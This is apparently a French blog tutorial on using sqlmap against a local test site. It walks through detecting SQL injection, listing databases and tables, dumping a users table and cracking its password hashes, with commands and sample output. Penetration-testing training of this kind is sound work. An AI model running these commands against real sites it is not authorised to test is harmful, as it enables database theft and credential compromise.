Sqlmap - HowTo
Dans cette article je présenterai l'utilisation que je fais de sqlmap.
1.Présentation
Sqlmap est un programme python permettant de tester et d'exploiter des injections sql sur une application web.
2.Installation
Si vous êtes sous Kali Linux, sqlmpa est déjà installé, sinon, vous pouvez le cloner via le GitHub de sqlmap.
3.Utilisation
3.1 Test
Je vous conseil avant tout de tester manuellement que l'application web est vulnérable aux injections SQL en injectant une simple quote par exemple (?id=') si cela renvois une erreur, l'application est très probablement vulnérable.
3.2 Le DBMS et les bases de données
Dans un premier temps, il faut déterminer le gestionnaire de base de données (DBMS) et lister les bases de données présentes sur le serveur. Pour cela :
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbs
Petite explication des paramètres :
NB: Si les paramètres sont des données POST, pas de panique, sqlmap le permet avec l'option –data (–data “username=user&password=pass” -p “password”), l'option –form va informer sqlmap qu'il faut POST, il va ensuite demander à l'utilisateur si c'est tel ou tel formulaire à tester.
Résultats notables :
web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL 5 [23:53:23] [INFO] fetching database names available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] sqlmap
3.3 Les tables Pour lister les tables, il suffit de préciser la base de donnée à utiliser et de demander à sqlmap de nous lister les tables de celle ci.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --tables
Les paramètres :
Résultat :
[00:00:11] [INFO] fetching tables for database: 'sqlmap' Database: sqlmap [2 tables] +-------+ | blog | | users | +-------+
3.4 Dump des tables Passons aux choses sérieuses, deux solutions, soit dump toutes les tables, soit en préciser une.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" -T users --dump // dump de la table users ou $ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --dump // dump de toutes les tables
Nous allons nous concentrer sur la table user car elle a plus de chance de contenir des informations exploitables.Quand une table contient des passwords, sqlmap vous propose de les dechiffer.
Résultat :
[00:06:21] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [00:06:23] [INFO] writing hashes to a temporary file '/tmp/sqlmapmQGAQX19748/sqlmaphashes-7QfKGg.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] Y Database: sqlmap Table: users [4 entries] +----+--------+-------------------------------------------+ | id | login | password | +----+--------+-------------------------------------------+ | 1 | ghozt | 9cb4afde731e9eadcda4506ef7c65fa2 (noob) | | 2 | Yorin | c8d46d341bea4fd5bff866a65ff8aea9 (game) | | 3 | Dazax | 3e1867f5aee83045775fbe355e6a3ce1 (beer) | | 4 | birdy4 | 27b8a7812992a386c1f239eed7e5d94b (ricola) | +----+--------+-------------------------------------------+
“And voilà” les mots de passe ont été bruteforcés par sqlmap, vous pouvez utiliser votre propre dictionnaire pour ce bruteforce ou laisser sqlmap faire le travail. Tous les résultats sont stockés dans des fichiers sur votre machine.
To be continued …